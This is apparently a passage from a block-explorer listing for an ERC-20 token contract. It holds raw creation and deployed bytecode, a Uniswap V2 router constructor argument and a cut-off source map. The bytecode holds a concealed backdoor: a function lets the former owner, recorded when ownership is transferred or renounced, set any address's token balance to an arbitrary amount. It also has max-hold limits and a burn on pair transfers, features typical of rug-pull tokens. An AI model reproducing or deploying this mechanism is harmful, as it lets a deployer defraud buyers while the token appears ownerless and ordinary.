040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906122ef565b60405180910390fd5b61195f838383611aee565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da90612621565b60405180910390fd5b81816119ef9190611ef4565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a7c9190611f86565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ae09190611cae565b60405180910390a350505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611b2a578082015181840152602081019050611b0f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611b4f82611af3565b611b598185611afd565b9350611b69818560208601611b0d565b611b7281611b35565b840191505092915050565b5f6020820190508181035f830152611b958184611b45565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611bca82611ba1565b9050919050565b611bda81611bc0565b8114611be4575f80fd5b50565b5f81359050611bf581611bd1565b92915050565b5f819050919050565b611c0d81611bfb565b8114611c17575f80fd5b50565b5f81359050611c2881611c04565b92915050565b5f8060408385031215611c4457611c43611b9d565b5b5f611c5185828601611be7565b9250506020611c6285828601611c1a565b9150509250929050565b5f8115159050919050565b611c8081611c6c565b82525050565b5f602082019050611c995f830184611c77565b92915050565b611ca881611bfb565b82525050565b5f602082019050611cc15f830184611c9f565b92915050565b5f805f60608486031215611cde57611cdd611b9d565b5b5f611ceb86828701611be7565b9350506020611cfc86828701611be7565b9250506040611d0d86828701611c1a565b9150509250925092565b5f60ff82169050919050565b611d2c81611d17565b82525050565b5f602082019050611d455f830184611d23565b92915050565b5f60208284031215611d6057611d5f611b9d565b5b5f611d6d84828501611be7565b91505092915050565b611d7f81611bc0565b82525050565b5f602082019050611d985f830184611d76565b92915050565b5f8060408385031215611db457611db3611b9d565b5b5f611dc185828601611be7565b9250506020611dd285828601611be7565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611e2057607f821691505b602082108103611e3357611e32611ddc565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f611e93602883611afd565b9150611e9e82611e39565b604082019050919050565b5f6020820190508181035f830152611ec081611e87565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611efe82611bfb565b9150611f0983611bfb565b9250828203905081811115611f2157611f20611ec7565b5b92915050565b5f8160601b9050919050565b5f611f3d82611f27565b9050919050565b5f611f4e82611f33565b9050919050565b611f66611f6182611bc0565b611f44565b82525050565b5f611f778284611f55565b60148201915081905092915050565b5f611f9082611bfb565b9150611f9b83611bfb565b9250828201905080821115611fb357611fb2611ec7565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612013602583611afd565b915061201e82611fb9565b604082019050919050565b5f6020820190508181035f83015261204081612007565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6120a1602683611afd565b91506120ac82612047565b604082019050919050565b5f6020820190508181035f8301526120ce81612095565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61212f602483611afd565b915061213a826120d5565b604082019050919050565b5f6020820190508181035f83015261215c81612123565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6121bd602283611afd565b91506121c882612163565b604082019050919050565b5f6020820190508181035f8301526121ea816121b1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61224b602583611afd565b9150612256826121f1565b604082019050919050565b5f6020820190508181035f8301526122788161223f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6122d9602383611afd565b91506122e48261227f565b604082019050919050565b5f6020820190508181035f830152612306816122cd565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e005f82015250565b5f612341601f83611afd565b915061234c8261230d565b602082019050919050565b5f6020820190508181035f83015261236e81612335565b9050919050565b5f61237f82611bfb565b915061238a83611bfb565b925082820261239881611bfb565b915082820484148315176123af576123ae611ec7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6123ed82611bfb565b91506123f883611bfb565b925082612408576124076123b6565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612447602083611afd565b915061245282612413565b602082019050919050565b5f6020820190508181035f8301526124748161243b565b9050919050565b7f416d6f756e742065786365656473206d617800000000000000000000000000005f82015250565b5f6124af601283611afd565b91506124ba8261247b565b602082019050919050565b5f6020820190508181035f8301526124dc816124a3565b9050919050565b5f815190506124f181611bd1565b92915050565b5f6020828403121561250c5761250b611b9d565b5b5f612519848285016124e3565b91505092915050565b5f6040820190506125355f830185611d76565b6125426020830184611d76565b9392505050565b7f4d617820686f6c64206578636565646564206d617800000000000000000000005f82015250565b5f61257d601583611afd565b915061258882612549565b602082019050919050565b5f6020820190508181035f8301526125aa81612571565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61260b602683611afd565b9150612616826125b1565b604082019050919050565b5f6020820190508181035f830152612638816125ff565b905091905056fea26469706673582212204abbc6731eb5598e1742fa72f0bde7160448482ddca39a5234bc0d3d400a59b764736f6c634300081700330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061012a575f3560e01c806362256589116100ab578063a457c2d71161006f578063a457c2d714610348578063a9059cbb14610378578063dd62ed3e146103a8578063e2fdc9bf146103d8578063f2fde38b146103e25761012a565b806362256589146102a257806370a08231146102ac5780638da5cb5b146102dc57806395d89b41146102fa57806398636f32146103185761012a565b806327611a08116100f257806327611a08146101e8578063313ce5671461021857806339509351146102365780633f08e3111461026657806344489ad1146102845761012a565b806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c5780631df3a07f1461019a57806323b872dd146101b8575b5f80fd5b6101366103fe565b6040516101439190611b7d565b60405180910390f35b61016660048036038101906101619190611c2e565b61048e565b6040516101739190611c86565b60405180910390f35b6101846104ab565b6040516101919190611cae565b60405180910390f35b6101a26104b4565b6040516101af9190611cae565b60405180910390f35b6101d260048036038101906101cd9190611cc7565b6104ba565b6040516101df9190611c86565b60405180910390f35b61020260048036038101906101fd9190611c2e565b6105b5565b60405161020f9190611cae565b60405180910390f35b610220610674565b60405161022d9190611d32565b60405180910390f35b610250600480360381019061024b9190611c2e565b61067c565b60405161025d9190611c86565b60405180910390f35b61026e610723565b60405161027b9190611cae565b60405180910390f35b61028c610729565b6040516102999190611c86565b60405180910390f35b6102aa61073b565b005b6102c660048036038101906102c19190611d4b565b61075f565b6040516102d39190611cae565b60405180910390f35b6102e46107a5565b6040516102f19190611d85565b60405180910390f35b6103026107cc565b60405161030f9190611b7d565b60405180910390f35b610332600480360381019061032d9190611d4b565b61085c565b60405161033f9190611c86565b60405180910390f35b610362600480360381019061035d9190611c2e565b610879565b60405161036f9190611c86565b60405180910390f35b610392600480360381019061038d9190611c2e565b610968565b60405161039f9190611c86565b60405180910390f35b6103c260048036038101906103bd9190611d9e565b610985565b6040516103cf9190611cae565b60405180910390f35b6103e0610a07565b005b6103fc60048036038101906103f79190611d4b565b610a1a565b005b60606005805461040d90611e09565b80601f016020809104026020016040519081016040528092919081815260200182805461043990611e09565b80156104845780601f1061045b57610100808354040283529160200191610484565b820191905f5260205f20905b81548152906001019060200180831161046757829003601f168201915b5050505050905090565b5f6104a161049a610a9c565b8484610aa3565b6001905092915050565b5f600454905090565b60085481565b5f6104c6848484610c66565b5f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61050d610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561058c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058390611ea9565b60405180910390fd5b6105a985610598610a9c565b85846105a49190611ef4565b610aa3565b60019150509392505050565b5f803390505f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f826040516020016105f19190611f6c565b6040516020818303038152906040528051906020012090505f8260405160200161061b9190611f6c565b6040516020818303038152906040528051906020012090505f865f1b90505f8284149050801561065c5761064f8983610f50565b965050505050505061066e565b61066589610fe0565b96505050505050505b92915050565b5f6009905090565b5f610719610688610a9c565b848460035f610695610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107149190611f86565b610aa3565b6001905092915050565b60095481565b60075f9054906101000a900460ff1681565b610743611026565b600160075f6101000a81548160ff021916908315150217905550565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107db90611e09565b80601f016020809104026020016040519081016040528092919081815260200182805461080790611e09565b80156108525780601f1061082957610100808354040283529160200191610852565b820191905f5260205f20905b81548152906001019060200180831161083557829003601f168201915b5050505050905090565b600a602052805f5260405f205f915054906101000a900460ff1681565b5f8060035f610886610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610940576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093790612029565b60405180910390fd5b61095d61094b610a9c565b8585846109589190611ef4565b610aa3565b600191505092915050565b5f61097b610974610a9c565b8484610c66565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a0f611026565b610a185f6110a4565b565b610a22611026565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a87906120b7565b60405180910390fd5b610a99816110a4565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0890612145565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b76906121d3565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c599190611cae565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb90612261565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d39906122ef565b60405180910390fd5b610d4d8383836111a5565b5f810315610f4b57600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610df35750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610f3f575f610e23600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661075f565b14610e63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5a90612357565b60405180910390fd5b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f0a5750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610f3e575f6064600b5483610f209190612375565b610f2a91906123e3565b9050610f388484848461157d565b50610f4b565b5b610f4a838383611878565b5b505050565b5f80825f1c90508060025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205491505092915050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61102e610a9c565b73ffffffffffffffffffffffffffffffffffffffff1661104c6107a5565b73ffffffffffffffffffffffffffffffffffffffff16146110a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110999061245d565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60075f9054906101000a900460ff1661157757600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156112565750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611576576008548111156112a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611297906124c5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036114c857600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561135e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061138291906124f7565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611408573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142c91906124f7565b6040518363ffffffff1660e01b8152600401611449929190612522565b602060405180830381865afa158015611464573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061148891906124f7565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160315611578576009548161152a8461075f565b6115349190611f86565b1115611575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156c90612593565b60405180910390fd5b5b5b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036115eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e290612261565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611659576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611650906122ef565b60405180910390fd5b611664848484611aee565b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156116e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116df90612621565b60405180910390fd5b82810360025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555081836117389190611ef4565b92508160045f82825461174b9190611ef4565b925050819055508260025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461179e9190611f86565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118049190611cae565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118699190611cae565b60405180910390a35050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118dd90612261565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906122ef565b60405180910390fd5b61195f838383611aee565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da90612621565b60405180910390fd5b81816119ef9190611ef4565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a7c9190611f86565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ae09190611cae565b60405180910390a350505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611b2a578082015181840152602081019050611b0f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611b4f82611af3565b611b598185611afd565b9350611b69818560208601611b0d565b611b7281611b35565b840191505092915050565b5f6020820190508181035f830152611b958184611b45565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611bca82611ba1565b9050919050565b611bda81611bc0565b8114611be4575f80fd5b50565b5f81359050611bf581611bd1565b92915050565b5f819050919050565b611c0d81611bfb565b8114611c17575f80fd5b50565b5f81359050611c2881611c04565b92915050565b5f8060408385031215611c4457611c43611b9d565b5b5f611c5185828601611be7565b9250506020611c6285828601611c1a565b9150509250929050565b5f8115159050919050565b611c8081611c6c565b82525050565b5f602082019050611c995f830184611c77565b92915050565b611ca881611bfb565b82525050565b5f602082019050611cc15f830184611c9f565b92915050565b5f805f60608486031215611cde57611cdd611b9d565b5b5f611ceb86828701611be7565b9350506020611cfc86828701611be7565b9250506040611d0d86828701611c1a565b9150509250925092565b5f60ff82169050919050565b611d2c81611d17565b82525050565b5f602082019050611d455f830184611d23565b92915050565b5f60208284031215611d6057611d5f611b9d565b5b5f611d6d84828501611be7565b91505092915050565b611d7f81611bc0565b82525050565b5f602082019050611d985f830184611d76565b92915050565b5f8060408385031215611db457611db3611b9d565b5b5f611dc185828601611be7565b9250506020611dd285828601611be7565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611e2057607f821691505b602082108103611e3357611e32611ddc565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f611e93602883611afd565b9150611e9e82611e39565b604082019050919050565b5f6020820190508181035f830152611ec081611e87565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611efe82611bfb565b9150611f0983611bfb565b9250828203905081811115611f2157611f20611ec7565b5b92915050565b5f8160601b9050919050565b5f611f3d82611f27565b9050919050565b5f611f4e82611f33565b9050919050565b611f66611f6182611bc0565b611f44565b82525050565b5f611f778284611f55565b60148201915081905092915050565b5f611f9082611bfb565b9150611f9b83611bfb565b9250828201905080821115611fb357611fb2611ec7565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612013602583611afd565b915061201e82611fb9565b604082019050919050565b5f6020820190508181035f83015261204081612007565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6120a1602683611afd565b91506120ac82612047565b604082019050919050565b5f6020820190508181035f8301526120ce81612095565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61212f602483611afd565b915061213a826120d5565b604082019050919050565b5f6020820190508181035f83015261215c81612123565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6121bd602283611afd565b91506121c882612163565b604082019050919050565b5f6020820190508181035f8301526121ea816121b1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61224b602583611afd565b9150612256826121f1565b604082019050919050565b5f6020820190508181035f8301526122788161223f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6122d9602383611afd565b91506122e48261227f565b604082019050919050565b5f6020820190508181035f830152612306816122cd565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e005f82015250565b5f612341601f83611afd565b915061234c8261230d565b602082019050919050565b5f6020820190508181035f83015261236e81612335565b9050919050565b5f61237f82611bfb565b915061238a83611bfb565b925082820261239881611bfb565b915082820484148315176123af576123ae611ec7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6123ed82611bfb565b91506123f883611bfb565b925082612408576124076123b6565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612447602083611afd565b915061245282612413565b602082019050919050565b5f6020820190508181035f8301526124748161243b565b9050919050565b7f416d6f756e742065786365656473206d617800000000000000000000000000005f82015250565b5f6124af601283611afd565b91506124ba8261247b565b602082019050919050565b5f6020820190508181035f8301526124dc816124a3565b9050919050565b5f815190506124f181611bd1565b92915050565b5f6020828403121561250c5761250b611b9d565b5b5f612519848285016124e3565b91505092915050565b5f6040820190506125355f830185611d76565b6125426020830184611d76565b9392505050565b7f4d617820686f6c64206578636565646564206d617800000000000000000000005f82015250565b5f61257d601583611afd565b915061258882612549565b602082019050919050565b5f6020820190508181035f8301526125aa81612571565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61260b602683611afd565b9150612616826125b1565b604082019050919050565b5f6020820190508181035f830152612638816125ff565b905091905056fea26469706673582212204abbc6731eb5598e1742fa72f0bde7160448482ddca39a5234bc0d3d400a59b764736f6c63430008170033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

9967:2594:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4331:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5524:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4819:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10255:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5707:422;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8184:606;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4662:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6140:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10293:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10228:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12482:76;;;:::i;:::-;;4990:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;852:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4550:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10326:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6366:377;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5127:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5365:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1101:99;;;:::i;:::-;;1212:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4331:100;4385:13;4418:5;4411:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4331:100;:::o;5524:169::-;5607:4;5624:39;5633:12;:10;:12::i;:::-;5647:7;5656:6;5624:8;:39::i;:::-;5681:4;5674:11;;5524:169;;;;:::o;4819:108::-;4880:7;4907:12;;4900:19;;4819:108;:::o;10255:31::-;;;;:::o;5707:422::-;5813:4;5830:36;5840:6;5848:9;5859:6;5830:9;:36::i;:::-;5879:24;5906:11;:19;5918:6;5906:19;;;;;;;;;;;;;;;:33;5926:12;:10;:12::i;:::-;5906:33;;;;;;;;;;;;;;;;5879:60;;5978:6;5958:16;:26;;5950:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;6040:57;6049:6;6057:12;:10;:12::i;:::-;6090:6;6071:16;:25;;;;:::i;:::-;6040:8;:57::i;:::-;6117:4;6110:11;;;5707:422;;;;;:::o;8184:606::-;8262:7;8282:17;8302:10;8282:30;;8323:17;8343:14;;;;;;;;;;;8323:34;;8370:19;8419:9;8402:27;;;;;;;;:::i;:::-;;;;;;;;;;;;;8392:38;;;;;;8370:60;;8441:20;8491:9;8474:27;;;;;;;;:::i;:::-;;;;;;;;;;;;;8464:38;;;;;;8441:61;;8523:17;8551:6;8543:15;;8523:35;;8579:12;8609;8594:11;:27;8579:42;;8646:7;8642:141;;;8677:34;8692:7;8701:9;8677:14;:34::i;:::-;8670:41;;;;;;;;;;8642:141;8751:20;8763:7;8751:11;:20::i;:::-;8744:27;;;;;;;;8184:606;;;;;:::o;4662:92::-;4720:5;4745:1;4738:8;;4662:92;:::o;6140:215::-;6228:4;6245:80;6254:12;:10;:12::i;:::-;6268:7;6314:10;6277:11;:25;6289:12;:10;:12::i;:::-;6277:25;;;;;;;;;;;;;;;:34;6303:7;6277:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;6245:8;:80::i;:::-;6343:4;6336:11;;6140:215;;;;:::o;10293:26::-;;;;:::o;10228:20::-;;;;;;;;;;;;;:::o;12482:76::-;807:13;:11;:13::i;:::-;12546:4:::1;12535:8;;:15;;;;;;;;;;;;;;;;;;12482:76::o:0;4990:127::-;5064:7;5091:9;:18;5101:7;5091:18;;;;;;;;;;;;;;;;5084:25;;4990:127;;;:::o;852:87::-;898:7;925:6;;;;;;;;;;;918:13;;852:87;:::o;4550:104::-;4606:13;4639:7;4632:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4550:104;:::o;10326:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;6366:377::-;6459:4;6476:24;6503: